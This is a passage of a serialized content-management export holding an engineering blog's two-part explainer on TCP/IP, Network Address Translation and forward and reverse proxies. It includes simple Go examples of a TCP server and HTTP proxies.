works.",{},[],[],{},[],{"link_type":487},[13236,13272,13292,13300,13338,13354,13374,13382,13392,13407,13431],{"variation":459,"version":460,"items":13237,"primary":13238,"id":13271,"slice_type":479,"slice_label":13},[],{"body":13239},[13240,13243,13250,13253,13256,13259,13262,13265,13268],{"type":396,"text":13241,"spans":13242},"In this blog post, I will attempt to distil each idea into its simplest form, and write a code example where possible.",[],{"type":396,"text":13244,"spans":13245},"The first blog post on this topic covered:",[13246],{"start":667,"end":2369,"type":744,"data":13247},{"id":13248,"type":1052,"tags":13249,"lang":13,"slug":1054,"first_publication_date":13,"last_publication_date":13,"link_type":499,"isBroken":1055},"Yme0VBIAAC8AtIKZ",[],{"type":1101,"text":13251,"spans":13252},"Introduce TCP\u002FIP at a high level, and demonstrate TCP communication in Go.",[],{"type":1101,"text":13254,"spans":13255},"Take a deeper look at IP communication, and the Linux networking stack.",[],{"type":1101,"text":13257,"spans":13258},"Introduce Network Address Translation, and illustrate how it works.",[],{"type":396,"text":13260,"spans":13261},"This second part will:",[],{"type":1101,"text":13263,"spans":13264},"Examine forward proxies, and show a simple example in Go.",[],{"type":1101,"text":13266,"spans":13267},"Examine reverse proxies, and show a simple example in Go.",[],{"type":1101,"text":13269,"spans":13270},"Summarise the differences and similarities between NATs and proxies, and provide examples of their use cases.",[],"rich_text$2cc2c261-4210-4d67-8636-60f8d3e1383f",{"variation":459,"version":460,"items":13273,"primary":13274,"id":13291,"slice_type":479,"slice_label":13},[],{"body":13275},[13276,13279,13282,13285,13288],{"type":465,"text":13277,"spans":13278},"Forward proxies",[],{"type":396,"text":13280,"spans":13281},"Whereas NAT is implemented at the network-layer (i.e. at the IP layer, beneath TCP), proxies operate at the application-layer (e.g. HTTP). This means that proxies are normally specific to the protocol you intend them to operate on. In the examples below, I'll look at HTTP proxies, although proxies could be used for other protocols as well.",[],{"type":396,"text":13283,"spans":13284},"An HTTP proxy acts an intermediary between the client sending the request, and the server receiving the request. Unlike NAT, which transparently modifies network packets, a proxy accepts and terminates network connections, and then re-transmits requests to the destination.",[],{"type":396,"text":13286,"spans":13287},"This means that, when you make requests via a proxy, the proxy actually accepts and processes the request, before making a new request on your behalf to the downstream server.",[],{"type":396,"text":13289,"spans":13290},"Unlike NAT, this is very easy to illustrate in a simple Go application, because all of the work happens at the application layer. Here's a sample application:",[],"rich_text$b2e0ca71-310e-40ff-bf3f-2a7ed8c8e6c7",{"variation":459,"version":460,"items":13293,"primary":13294,"id":13299,"slice_type":567,"slice_label":13},[],{"language_label":13,"code":13295},[13296],{"type":563,"text":13297,"spans":13298},"package main\n\nimport (\n    \"io\"\n    \"net\u002Fhttp\"\n)\n\nfunc main() {\n    \u002F\u002F The proxy handles all HTTP requests.\n    http.HandleFunc(\"\u002F\", func(w http.ResponseWriter, r *http.Request) {\n        \u002F\u002F The proxy makes a new request using the same HTTP verb and\n        \u002F\u002F relative URL as the original request. For simplicity, the body\n        \u002F\u002F is excluded, so in practice this would only work for GET\n        \u002F\u002F requests.\n        req, err := http.NewRequest(r.Method, r.RequestURI, nil)\n        if err != nil {\n            panic(err)\n        }\n\n        \u002F\u002F The proxy sends a new request, on behalf of the original\n        \u002F\u002F client.\n        res, err := http.DefaultClient.Do(req)\n        if err != nil {\n            panic(err)\n        }\n\n        \u002F\u002F The response is read by the proxy.\n        body, err := io.ReadAll(res.Body)\n        if err != nil {\n            panic(err)\n        }\n        defer res.Body.Close()\n\n        \u002F\u002F The contents of the proxied request are then written back\n        \u002F\u002F to the HTTP response of the original client's request.\n        w.WriteHeader(res.StatusCode)\n        w.Write(body)\n    })\n    http.ListenAndServe(\":8080\", nil)\n}",[],"code_block$255fbfa1-8bfe-4d3f-b58e-48122c2814e8",{"variation":459,"version":460,"items":13301,"primary":13302,"id":13337,"slice_type":479,"slice_label":13},[],{"body":13303},[13304,13307,13310,13313,13316,13319,13322,13325,13328,13331,13334],{"type":396,"text":13305,"spans":13306},"This simple example handles all web requests by:",[],{"type":1101,"text":13308,"spans":13309},"Reading the request.",[],{"type":1101,"text":13311,"spans":13312},"Sending a new HTTP request that looks like the one it received.",[],{"type":1101,"text":13314,"spans":13315},"Reading the response to this request.",[],{"type":1101,"text":13317,"spans":13318},"Sending the same response back to the original client.",[],{"type":396,"text":13320,"spans":13321},"In reality, this is a very simple example (it will only work for GET requests among other things). However, it does illustrate the following main points:",[],{"type":1101,"text":13323,"spans":13324},"Network packets are not handled transparently by the proxy.",[],{"type":1101,"text":13326,"spans":13327},"Network traffic is processed at the application layer by the proxy.",[],{"type":1101,"text":13329,"spans":13330},"TCP connections are terminated from the client by the proxy.",[],{"type":1101,"text":13332,"spans":13333},"New connections are made downstream from the proxy to the destination.",[],{"type":396,"text":13335,"spans":13336},"Whilst this is a very different approach to NAT, it does have the same effect of masking the source IP address from the destination server's point of view. Since all requests are re-originated from the proxy, it is the proxy's IP address that will appear as the source IP address, at least at the network layer. Whether or not the same is true at higher levels of the network stack (e.g. in HTTP headers) depends on your implementation, but forward proxies like this can also be used to mask source IP addresses for many of the same reasons as NAT.",[],"rich_text$5575de86-0e6a-4bbd-86f3-4b3cc62e788d",{"variation":459,"version":460,"items":13339,"primary":13340,"id":13353,"slice_type":479,"slice_label":13},[],{"body":13341},[13342,13344,13347,13350],{"type":465,"text":13277,"spans":13343},[],{"type":1101,"text":13345,"spans":13346},"Forward proxies operate at the application-layer.",[],{"type":1101,"text":13348,"spans":13349},"They receive and terminate network-level traffic, e.g. TCP connections.",[],{"type":1101,"text":13351,"spans":13352},"Forward proxies make onward requests on behalf of the original client, so the requests appear to originate from the proxy.",[],"rich_text$00fffbee-5bb8-48fc-a0ce-ecf94c20d5d3",{"variation":459,"version":460,"items":13355,"primary":13356,"id":13373,"slice_type":479,"slice_label":13},[],{"body":13357},[13358,13361,13364,13367,13370],{"type":465,"text":13359,"spans":13360},"Reverse proxies",[],{"type":396,"text":13362,"spans":13363},"A reverse proxy operates in much the same way as a forward proxy, except that the address that is proxied is configured in advance in the proxy, rather than being dynamically based on the client's request.",[],{"type":396,"text":13365,"spans":13366},"When a request is sent to a forward proxy, the request is forwarded on to the original recipient indicated by the client's HTTP request. When a request is sent to a reverse proxy, the proxy decides where to forward the request based on some predetermined configuration.",[],{"type":396,"text":13368,"spans":13369},"This makes reverse proxies useful for presenting a public IP address for a set of private resources, like a set of private, back-end servers.",[],{"type":396,"text":13371,"spans":13372},"This is illustrated in the following simple Golang application:",[],"rich_text$63b9a9c4-c772-4870-8d35-a83d90269a0d",{"variation":459,"version":460,"items":13375,"primary":13376,"id":13381,"slice_type":567,"slice_label":13},[],{"language_label":13,"code":13377},[13378],{"type":563,"text":13379,"spans":13380},"package main\n\nimport (\n    \"io\"\n    \"net\u002Fhttp\"\n)\n\nfunc main() {\n    \u002F\u002F The proxy listens for all HTTP traffic.\n    http.HandleFunc(\"\u002F\", func(w http.ResponseWriter, r *http.Request) {\n        \u002F\u002F The proxy handles the request by performing a pre-determined action. In\n        \u002F\u002F reality, it is likley to forward the request to another upstream server, \n        \u002F\u002F but in this example it simply makes a request to Google on behalf of\n        \u002F\u002F the original client.\n        req, err := http.NewRequest(http.MethodGet, \"https:\u002F\u002Fwww.google.com\", nil)\n        if err != nil {\n            panic(err)\n        }\n\n        \u002F\u002F The proxy makes the request on behalf of the client.\n        res, err := http.DefaultClient.Do(req)\n        if err != nil {\n            panic(err)\n        }\n        defer res.Body.Close()\n\n        \u002F\u002F The proxy copies the contents of the proxied response into\n        \u002F\u002F the response to the original client's request.\n        w.WriteHeader(res.StatusCode)\n        _, err = io.Copy(w, res.Body)\n        if err != nil {\n            panic(err)\n        }\n    })\n    http.ListenAndServe(\":8080\", nil)\n}",[],"code_block$22570b86-ca4e-4464-949b-327d32743912",{"variation":459,"version":460,"items":13383,"primary":13384,"id":13391,"slice_type":479,"slice_label":13},[],{"body":13385},[13386],{"type":396,"text":13387,"spans":13388},"In this example, all requests to the reverse proxy are forwarded to https:\u002F\u002Fwww.google.com. This forwarding URL represents the static configuration that will determine how your proxy will route requests. If I run this example locally, and then curl -v http:\u002F\u002Flocalhost:8080, the Google home page is returned.",[13389,13390],{"start":518,"end":1524,"type":780},{"start":11045,"end":11770,"type":780},"rich_text$e4ee697e-5253-4f91-9cd8-ba8a4eefc7f4",{"variation":459,"version":460,"items":13393,"primary":13394,"id":13406,"slice_type":479,"slice_label":13},[],{"body":13395},[13396,13398,13401,13403],{"type":465,"text":13359,"spans":13397},[],{"type":1101,"text":13399,"spans":13400},"Reverse proxies operate at the application-layer.",[],{"type":1101,"text":13348,"spans":13402},[],{"type":1101,"text":13404,"spans":13405},"Reverse proxies make onward requests on behalf of the original client according to a set of pre-defined rules.",[],"rich_text$7479b5db-1c02-4a11-a472-59cf862be47e",{"variation":459,"version":481,"items":13408,"primary":13409,"id":13430,"slice_type":506,"slice_label":13},[],{"eyebrow":13,"heading":13410,"body":13413,"cta_label":13,"cta_link":13417,"aside_type":488,"aside_image":13418,"aside_video":13425,"aside_video_poster":13426,"aside_video_reduced_motion":13427,"aside_video_url":13,"aside_embed":13428,"pardot_form_url":13,"form_submit_label":13,"form_variant":497,"form_heading":13,"redirect_on_success":13429,"theme":500,"overlay_pattern":501,"background_continuation":502,"media_position":503,"aside_vertical_align":504},[13411],{"type":465,"text":3730,"spans":13412,"direction":4053},[],[13414],{"type":396,"text":13415,"spans":13416,"direction":4053},"This two-part blog post has described the behaviour and characteristics of Network Address Translation, forward proxies, and reverse proxies. This is summarised below:",[],{"link_type":487},{"dimensions":13419,"alt":13,"copyright":13,"url":13422,"id":13423,"edit":13424},{"width":13420,"height":13421},2066,810,"\u002F_prismic-media\u002F96ae868fe0c0cd2b-D5mgEm-CzvBDvfGY_20cbc123-d4a3-4cd7-ba2b-fda933b.png","D5mgEm-CzvBDvfGY",{"x":17,"y":17,"zoom":18,"background":19},{"link_type":493},{},{},{},{"link_type":499},"content_block$ba9acb31-d594-43a6-a6ac-a9ad64ba2687",{"variation":459,"version":460,"items":13432,"primary":13433,"id":13438,"slice_type":479,"slice_label":13},[],{"body":13434},[13435],{"type":396,"text":13436,"spans":13437},"I hope you found this blog post useful in understanding these three networking techniques in the future, and you now consider them somewhat less mystical!",[],"rich_text$5e5aa4ba-7b62-45e8-99d5-1ae1b9221999",{"id":13440,"uid":13441,"url":13442,"type":406,"href":13443,"tags":13444,"first_publication_date":13040,"last_publication_date":13445,"slugs":13446,"linked_documents":13448,"lang":386,"alternate_languages":13449,"data":13450},"alz1IREAAC0AUWgG","nat-and-proxies-part-1","\u002Fresources\u002Fengineering-blog\u002Fnat-and-proxies-part-1","https:\u002F\u002Fform3-website.cdn.prismic.io\u002Fapi\u002Fv2\u002Fdocuments\u002Fsearch?ref=apjJ1BEAAC0AJxzl&q=%5B%5B%3Ad+%3D+at%28document.id%2C+%22alz1IREAAC0AUWgG%22%29+%5D%5D",[],"2026-08-27T02:06:53+0000",[13447],"tcp-over-ip",[],[],{"title":13451,"excerpt":13452,"card_image":13453,"published_date":13458,"reading_time":4811,"tag":427,"dek":13459,"featured_image":13460,"about_form3":13465,"client_about_heading":13,"client_about_body":13466,"author_name":1594,"author_title":1595,"author_photo":13467,"author_bio":13470,"author_linkedin":13475,"slices":13477,"meta_title":13451,"meta_description":13452},"Network Address Translation (NAT) and Proxies (part 1)","Exposing pools of machines to clients, or routing network traffic via an intermediary, are common techniques in distributed computing, and large networks. Network Address Translation, forward proxies, and reverse proxies, are three common techniques for managing network traffic at scale. However, I've always found each of these topics to be somewhat mystical, and I've never understood the fundamentals of how each technique works. This blog post will attempt to distil each idea into its simplest form, and write a code example where possible.",{"dimensions":13454,"alt":13451,"copyright":13,"url":13455,"id":13456,"edit":13457},{"width":420,"height":420},"\u002F_prismic-media\u002F44dbee4b699cabbc-eMKN_hRP9wBBdJIt_nat-and-proxies-part-1.png","eMKN_hRP9wBBdJIt",{"x":17,"y":17,"zoom":18,"background":19},"2022-05-04","Exposing pools of machines to clients, or routing network traffic via an intermediary, are common techniques in distributed computing, and large networks. Network Address Translation, forward proxies, and reverse proxies, are three common techniques for managing network traffic at scale. However, each of these topics can be somewhat mystical, and I've never understood the fundamentals of how each technique works. This blog post will attempt to distil each idea into its simplest form, and write a code example where possible.",{"dimensions":13461,"alt":13,"copyright":13,"url":13462,"id":13463,"edit":13464},{"width":1270,"height":9083},"\u002F_prismic-media\u002F262c362bc05b220e-C-lSzGUBjEm2kzKU_17dc1378-af0e-4824-84e3-be52dc6.png","C-lSzGUBjEm2kzKU",{"x":17,"y":17,"zoom":18,"background":19},[],[],{"dimensions":13468,"alt":1594,"copyright":13,"url":1598,"id":1599,"edit":13469},{"width":443,"height":444},{"x":17,"y":17,"zoom":18,"background":424},[13471],{"type":396,"text":1603,"spans":13472},[13473],{"start":1606,"end":1607,"type":744,"data":13474},{"link_type":453,"url":1609,"target":456},{"link_type":453,"key":13476,"url":1612,"target":456},"0b83538e-5f1c-43ec-9bb4-4a7426a5cbb2",[13478,13507,13526,13534,13543,13551,13561,13569,13586,13615,13632,13643,13653,13661,13738,13769,13783,13800],{"variation":459,"version":460,"items":13479,"primary":13480,"id":13506,"slice_type":479,"slice_label":13},[],{"body":13481},[13482,13485,13487,13489,13491,13494,13496,13498,13500],{"type":396,"text":13483,"spans":13484},"This first blog post will:",[],{"type":1101,"text":13251,"spans":13486},[],{"type":1101,"text":13254,"spans":13488},[],{"type":1101,"text":13257,"spans":13490},[],{"type":396,"text":13492,"spans":13493},"A second blog post will:",[],{"type":1101,"text":13263,"spans":13495},[],{"type":1101,"text":13266,"spans":13497},[],{"type":1101,"text":13269,"spans":13499},[],{"type":396,"text":13501,"spans":13502},"This blog post assumes the reader has an understanding of IP addresses, and CIDR ranges.",[13503],{"start":1507,"end":688,"type":744,"data":13504},{"link_type":453,"url":13505,"target":456},"https:\u002F\u002Fen.wikipedia.org\u002Fwiki\u002FClassless_Inter-Domain_Routing","rich_text$350df5f0-f3e9-471d-a4bf-506961b6c813",{"variation":459,"version":460,"items":13508,"primary":13509,"id":13525,"slice_type":479,"slice_label":13},[],{"body":13510},[13511,13514,13517,13520],{"type":465,"text":13512,"spans":13513},"TCP over IP",[],{"type":396,"text":13515,"spans":13516},"TCP is a connection-oriented protocol, which normally uses the Internet Protocol (IP) to transmit data. This combination is often referred to as TCP\u002FIP. TCP underpins most network traffic on the internet, so before we go any further it's useful to get a grasp of how it works from a practical point of view.",[],{"type":396,"text":13518,"spans":13519},"In TCP, servers listen for new connections on a specific port. Clients establish connections to server's port from a random port on their host, allocated by the operating system. This combination of the IP\u002Fport of the client, and the IP\u002Fport of the server, uniquely identifies the connection between the two machines.",[],{"type":396,"text":13521,"spans":13522},"In Go, listening for new connections (like a server would) is easy using the net package. The net package offers a high-level interface for listening for, accepting, and reading from new connections. The example below shows a simple example of a process listening for new connections, and waiting to accept them.",[13523,13524],{"start":708,"end":688,"type":780},{"start":4349,"end":1512,"type":780},"rich_text$ed03cf72-05bd-4872-8039-fab552f3f17c",{"variation":459,"version":460,"items":13527,"primary":13528,"id":13533,"slice_type":567,"slice_label":13},[],{"language_label":13,"code":13529},[13530],{"type":563,"text":13531,"spans":13532},"func main() {\n    \u002F\u002F The server listens for TCP connections on the port 8080. If a client\n    \u002F\u002F tried to establish a connection with the host this process was running on,\n    \u002F\u002F on port 8080, they would be directed to this process.\n    listener, err := net.Listen(\"tcp\", \":8080\")\n    if err != nil {\n        panic(err)\n    }\n\n    for {\n        \u002F\u002F The server waits to accept new connections. It can handle multiple\n        \u002F\u002F connections, from multiple clients. As a result, it can handle each\n        \u002F\u002F connection in the background, and the continue to wait for new connections\n        \u002F\u002F to be established.\n        connection, err := listener.Accept()\n        if err != nil {\n            panic(err)\n        }\n\n        \u002F\u002F Handle the connection in the background.\n        go handleConnection(connection)\n    }\n}",[],"code_block$46b66623-8e1e-488d-8b2b-cbd8d9541835",{"variation":459,"version":460,"items":13535,"primary":13536,"id":13542,"slice_type":479,"slice_label":13},[],{"body":13537},[13538],{"type":396,"text":13539,"spans":13540},"The handleConnection() function can handle new connections by reading any data sent along the connection, and writing any data that needs to be returned. The example below illustrates reading and writing data, before closing the connection:",[13541],{"start":1105,"end":579,"type":780},"rich_text$84a7616e-1d87-4083-b85b-9cd1036dcaa9",{"variation":459,"version":460,"items":13544,"primary":13545,"id":13550,"slice_type":567,"slice_label":13},[],{"language_label":13,"code":13546},[13547],{"type":563,"text":13548,"spans":13549},"func handleConnection(connection net.Conn) {\n    \u002F\u002F The server reads data from the connection. This data is just a stream of bytes, and\n    \u002F\u002F could represent a common application-level protocol such as HTTP, or a custom\n    \u002F\u002F protocol of your choosing.\n    b, err := io.ReadAll(connection)\n    if err != nil {\n        panic(err)\n    }\n\n    \u002F\u002F The server can also send data back along the connection. In this case,\n    \u002F\u002F it always sends the same data.\n    _, err = connection.Write([]byte(\"hello world!\\n\"))\n    if err != nil {\n        panic(err)\n    }\n\n    \u002F\u002F The server can keep the connection open for as long as it likes, and\n    \u002F\u002F continue to send and receive data indefinitely. In this example,\n    \u002F\u002F having read and written data, the server closes the connection. If the\n    \u002F\u002F client wanted to continue communicating with the server, it would have\n    \u002F\u002F to establish a new connection.\n    connection.Close()\n}",[],"code_block$fd46f1d0-a610-4bad-9cc1-ddc7472652c3",{"variation":459,"version":460,"items":13552,"primary":13553,"id":13560,"slice_type":479,"slice_label":13},[],{"body":13554},[13555],{"type":396,"text":13556,"spans":13557},"Running this sample application will start a process listening on port 8080, and allow you to establish TCP connections with localhost:8080. A TCP connection can be established from a client using a command line tool: nc(netcat). In the following example, a TCP connection is established, some data sent, and some data received:",[13558,13559],{"start":973,"end":604,"type":780},{"start":12240,"end":2048,"type":780},"rich_text$abed6fb2-2151-41da-8fe4-d715fddf7de8",{"variation":459,"version":460,"items":13562,"primary":13563,"id":13568,"slice_type":567,"slice_label":13},[],{"language_label":13,"code":13564},[13565],{"type":563,"text":13566,"spans":13567},"$ echo -n \"hello\" | nc localhost 8080\nhello world!",[],"code_block$2059d9cf-9208-4b56-b1a5-5a8f21d84f96",{"variation":459,"version":460,"items":13570,"primary":13571,"id":13585,"slice_type":479,"slice_label":13},[],{"body":13572},[13573,13576,13579,13582],{"type":465,"text":13574,"spans":13575},"TCP over IP summary",[],{"type":1101,"text":13577,"spans":13578},"TCP is a connection-oriented protocol, allowing a client to establish a reliable line of communication with a server.",[],{"type":1101,"text":13580,"spans":13581},"TCP is a transport-layer protocol, and requires a network-layer protocol to handle underlying network transmission.",[],{"type":1101,"text":13583,"spans":13584},"TCP is usually transmitted via the Internet Protocol (IP), and this combination is normally referred to as TCP\u002FIP.",[],"rich_text$e635f186-6ced-4e07-b57a-31de391b265f",{"variation":459,"version":460,"items":13587,"primary":13588,"id":13614,"slice_type":479,"slice_label":13},[],{"body":13589},[13590,13593,13596,13599,13602,13605,13608],{"type":465,"text":13591,"spans":13592},"IP and the Linux networking stack",[],{"type":396,"text":13594,"spans":13595},"The Internet Protocol itself is a low-level protocol used to transmit data packets across an internet network. It is used to encapsulate higher-level protocols (like TCP and UDP). IP packets consist of a header and a payload. The payload is where the encapsulated packets from the higher-level protocol are transmitted. The IP header contains a number of fields, but the following ones are of interest to this post:",[],{"type":1101,"text":13597,"spans":13598},"Source address: the IP address of the sender.",[],{"type":1101,"text":13600,"spans":13601},"Destination address: the IP address of the intended recipient.",[],{"type":396,"text":13603,"spans":13604},"These fields contain the source and destination IP addresses of the packets, and nothing else. You may notice that there is no information in here about ports, which are part of higher-level protocols (e.g. ports are part of the TCP implementation).",[],{"type":396,"text":13606,"spans":13607},"Now, when it comes to sending and receiving IP packets from an application it isn't as straightforward as it sounds. IP is a low-level networking protocol, and is normally handled directly by the operating system. In Linux, the socket-based networking stack takes care of all TCP\u002FIP and UDP\u002FIP communication. The sending and receiving of raw IP network packets is handled in kernel space, and user space applications are presented with a high-level interface (a file descriptor to read\u002Fwrite data to).",[],{"type":396,"text":13609,"spans":13610},"As a result, it's difficult to illustrate IP packet handling in a simple user space application, because the details of packet handling are normally handled by the kernel's network stack. In the TCP example above, the networking primitives exposed by the Go net package are somewhat similar to the syscalls the Linux kernel exposes to applications. Interacting with IP packets directly isn't something a user space application would normally need to worry about.",[13611],{"start":13612,"end":13613,"type":780},258,261,"rich_text$e1083d83-ac5b-4072-a504-79ce824eebab",{"variation":459,"version":460,"items":13616,"primary":13617,"id":13631,"slice_type":479,"slice_label":13},[],{"body":13618},[13619,13622,13625,13628],{"type":465,"text":13620,"spans":13621},"IP and Linux networking summary",[],{"type":1101,"text":13623,"spans":13624},"IP is a low-level protocol, concerned with the IP addresses of hosts on a network (but not ports).",[],{"type":1101,"text":13626,"spans":13627},"IP packet transmission is normally handled by the operating system.",[],{"type":1101,"text":13629,"spans":13630},"The Linux kernel offers applications a networking abstraction at the transport-level (e.g. TCP, UDP), and handles IP packet transmission internally.",[],"rich_text$b7b10fe4-ac52-4831-8f27-e283a71a6296",{"variation":459,"version":460,"items":13633,"primary":13634,"id":13642,"slice_type":479,"slice_label":13},[],{"body":13635},[13636,13639],{"type":465,"text":13637,"spans":13638},"Network Address Translation",[],{"type":396,"text":13640,"spans":13641},"Network Address Translation is a procedure commonly employed on routers to hide the IP network space of one network when connecting it to another. A good example of this is your home network router. Your router probably applies NAT to network traffic destined for the internet. If you check out your public IP address, you will find out the IP address of your router on the internet, rather than the private IP address allocated to your machine on your home network. This process is illustrated in the diagram below:",[],"rich_text$bb772a36-553d-44ec-91f1-58453f8afe88",{"variation":459,"version":460,"items":13644,"primary":13645,"id":13652,"slice_type":479,"slice_label":13},[],{"body":13646},[13647],{"type":396,"text":13648,"spans":13649},"In this example, your router has a public IP address on the internet (80.123.123.123), and all of the devices on your local network have local IP addresses (192.168.0.0\u002F24). Whenever network traffic destined for the internet passes through your router, your router modifies the IP packets to use its public IP address as the source IP. When return packets are sent, they are addressed back to your router's public IP address. You router maintains a local mapping of your original IP address on the private network, so that when it receives return packets it can send them back to the correct local IP address. Precisely how the mapping works depends on the type of network traffic being transmitted. In the case of UDP and TCP, this consists of the unique IP address\u002Fport combinations of the source and destination. This combination allows IP packets between the same source and destination IP addresses to be differentiated based on their transport-layer characteristics (e.g. the source\u002Fdestination ports of the TCP connection).",[13650,13651],{"start":7824,"end":640,"type":780},{"start":2297,"end":2499,"type":780},"rich_text$0d099708-3100-416b-b310-d187eac3bdb9",{"variation":459,"version":460,"items":13654,"primary":13655,"id":13660,"slice_type":479,"slice_label":13},[],{"body":13656},[13657],{"type":396,"text":13658,"spans":13659},"Network Address Translation can hide private IP addresses from the public internet, and replace them with a single public IP address instead.",[],"rich_text$a213726c-1a98-4872-8096-dd7ff5ed77b4",{"variation":459,"version":460,"items":13662,"primary":13663,"id":13737,"slice_type":479,"slice_label":13},[],{"body":13664},[13665,13668,13671,13674,13677,13680,13683,13687,13693,13696,13699,13703,13707,13711,13714,13718,13721,13727,13730,13734],{"type":465,"text":13666,"spans":13667},"Reasons to use NAT",[],{"type":396,"text":13669,"spans":13670},"There are a variety of reasons you might want to use NAT, including:",[],{"type":1101,"text":13672,"spans":13673},"Preserving IP address space between multiple private networks (and on the internet).",[],{"type":1101,"text":13675,"spans":13676},"Ensuring consistent source IP addresses--your network traffic will always appear to originate from the IP address of the device performing NAT.",[],{"type":1101,"text":13678,"spans":13679},"Ensuring consistent destination IP addresses--your network traffic will always appear to be received at the IP address of the device performing NAT.",[],{"type":396,"text":13681,"spans":13682},"Each of these reasons are explored in more detail below.",[],{"type":396,"text":13684,"spans":13685},"Preserving IP address space",[13686],{"start":17,"end":2744,"type":477},{"type":396,"text":13688,"spans":13689},"IPv4 addresses are limited to 4.3 billion unique addresses, which means that without some kind of solution we would soon suffer from IP address exhaustion. There are a number of solutions to IP address exhaustion--including the introduction of IPv6--but NAT limits the impact of the relatively small size of IPv4 address space.",[13690],{"start":2441,"end":605,"type":744,"data":13691},{"link_type":453,"url":13692,"target":456},"https:\u002F\u002Fen.wikipedia.org\u002Fwiki\u002FIPv4_address_exhaustion",{"type":396,"text":13694,"spans":13695},"If a private network is connected to the internet via NAT, then it doesn't matter how many IP addresses are allocated on the private network, they will only ever use as many public IP addresses as there are routers that NAT traffic.",[],{"type":396,"text":13697,"spans":13698},"It's conventional to use the following IP address spaces for private networks:",[],{"type":1101,"text":13700,"spans":13701},"10.0.0.0\u002F8",[13702],{"start":17,"end":426,"type":780},{"type":1101,"text":13704,"spans":13705},"172.16.0.0\u002F12",[13706],{"start":17,"end":1403,"type":780},{"type":1101,"text":13708,"spans":13709},"192.168.0.0\u002F16",[13710],{"start":17,"end":1342,"type":780},{"type":396,"text":13712,"spans":13713},"Between these IP address ranges, there are more than 17 million private addresses that can be allocated. As a result, NAT allows large private networks to be constructed without exhausting IPv4 space on the public internet.",[],{"type":396,"text":13715,"spans":13716},"Consistent source IP addresses",[13717],{"start":17,"end":555,"type":477},{"type":396,"text":13719,"spans":13720},"It's often useful to secure access to a system by maintaining an allowlist of IP addresses that are permitted to reach it. This might form the basis of firewall rules that permit inbound traffic into a network. Permitting traffic based on the source IP address of network traffic is difficult if there are a large number of possibilities for that source IP address.",[],{"type":396,"text":13722,"spans":13723},"For example, if you ran machines in your corporate network in 10.0.0.0\u002F8, and you gave your external software vendor this CIDR range to add to their allowlist, it wouldn't be a very restrictive security measure!",[13724,13725],{"start":3243,"end":1729,"type":780},{"start":7826,"end":1536,"type":744,"data":13726},{"link_type":453,"url":13505,"target":456},{"type":396,"text":13728,"spans":13729},"NAT can be a useful technique to mask the IP addresses of your internal systems and ensure a consistent source IP address when connecting to other network resources or external systems. In this instance, NAT is used to translate traffic from private addresses in your internal network so that they appear to have originated from your router's public IP address instead.",[],{"type":396,"text":13731,"spans":13732},"Consistent destination IP addresses",[13733],{"start":17,"end":1372,"type":477},{"type":396,"text":13735,"spans":13736},"You might also be in a position where you have a private network resource that you want to expose on a public network. NAT can be used in this instance to translate traffic addressed to your public address to your private addresses instead. This is sometimes referred to as \"port forwarding\", and you might have seen features like this on your home router to expose resources on your local machine (on your private home network) to the internet.",[],"rich_text$b0bc908a-f84c-4b00-9809-4aa5df480546",{"variation":459,"version":460,"items":13739,"primary":13740,"id":13768,"slice_type":479,"slice_label":13},[],{"body":13741},[13742,13745,13748,13752,13755,13758,13761,13765],{"type":465,"text":13743,"spans":13744},"How NAT works",[],{"type":396,"text":13746,"spans":13747},"So, how does NAT actually work? Well, it's simple...and it's not!",[],{"type":396,"text":13749,"spans":13750},"The simple explanation",[13751],{"start":17,"end":579,"type":477},{"type":396,"text":13753,"spans":13754},"The simple part, is that NAT works by re-writing the source or destination headers in the IP packets based on which way round NAT is being applied to your traffic. In the case where you home router uses NAT to present a single source IP address to the internet, all of your outgoing IP packets have their source IP address changed to match your router's address. That way, return packets can be addressed back to your router over the internet.",[],{"type":396,"text":13756,"spans":13757},"Your router knows it needs to adjust the source IP address of your IP packets, so it keeps a record of your original source IP address. When it receives return packets, it re-writes the destination IP address to match your original address and then forwards the packets over your private network.",[],{"type":396,"text":13759,"spans":13760},"This process is completely transparent to the sender and receiver, and is normally completed by a hardware network device (e.g. a router).",[],{"type":396,"text":13762,"spans":13763},"The not-so-simple explanation",[13764],{"start":17,"end":586,"type":477},{"type":396,"text":13766,"spans":13767},"The less simple part of this process is that source and destination address information isn't just used at the IP level of network transmission. It's also used in TCP and UDP, where it forms part of the message checksum calculations to avoid errors in transmission. This means that the device performing NAT needs to be aware of the higher-level protocols being transmitted in the IP packets. It needs to decode the contents of the IP packet's payload, modify it accordingly, and re-write it so that it still contain valid TCP\u002FUDP packets. When the packets are decoded and passed up the network stack to user space applications, they still appear to contain valid TCP or UDP packets, which have been modified transparently from the point of view of the application.",[],"rich_text$fa47c037-2c7b-412c-9d75-aaef12359e63",{"variation":459,"version":460,"items":13770,"primary":13771,"id":13782,"slice_type":479,"slice_label":13},[],{"body":13772},[13773,13776,13779],{"type":465,"text":13774,"spans":13775},"Where's the code example?",[],{"type":396,"text":13777,"spans":13778},"This whole process is difficult to demonstrate in a simple coding example, because the processing of IP packets is normally handled by the networking stack in an OS, and user space application code typically deals with higher-level abstractions based around TCP and UDP protocols.",[],{"type":396,"text":13780,"spans":13781},"NAT is normally performed by specialised networking devices (like routers), whose sole purpose is to process IP packets and route them to their next network hop.",[],"rich_text$a443a564-f510-47b8-a83d-2934041226c4",{"variation":459,"version":460,"items":13784,"primary":13785,"id":13799,"slice_type":479,"slice_label":13},[],{"body":13786},[13787,13790,13793,13796],{"type":465,"text":13788,"spans":13789},"NAT summary",[],{"type":1101,"text":13791,"spans":13792},"NAT involves re-writing source and destination addresses in IP packets, so that all network traffic from a network appears to have originated from a single IP address.",[],{"type":1101,"text":13794,"spans":13795},"NAT can be used to mask source or destination IP addresses.",[],{"type":1101,"text":13797,"spans":13798},"NAT is a useful way of connecting private and public networks together, whilst still preserving IP address space.",[],"rich_text$4eb09f79-948c-4d2e-9d84-d83d64d1e9c4",{"variation":459,"version":460,"items":13801,"primary":13802,"id":13812,"slice_type":479,"slice_label":13},[],{"body":13803},[13804,13806,13809],{"type":465,"text":3730,"spans":13805},[],{"type":396,"text":13807,"spans":13808},"This blog post has introduced TCP\u002FIP, the Linux networking stack, and how Network Address Translation can be used to connect large networks.",[],{"type":396,"text":13810,"spans":13811},"The second half of this post will continue by covering forward and reverse proxies, before summarising all three 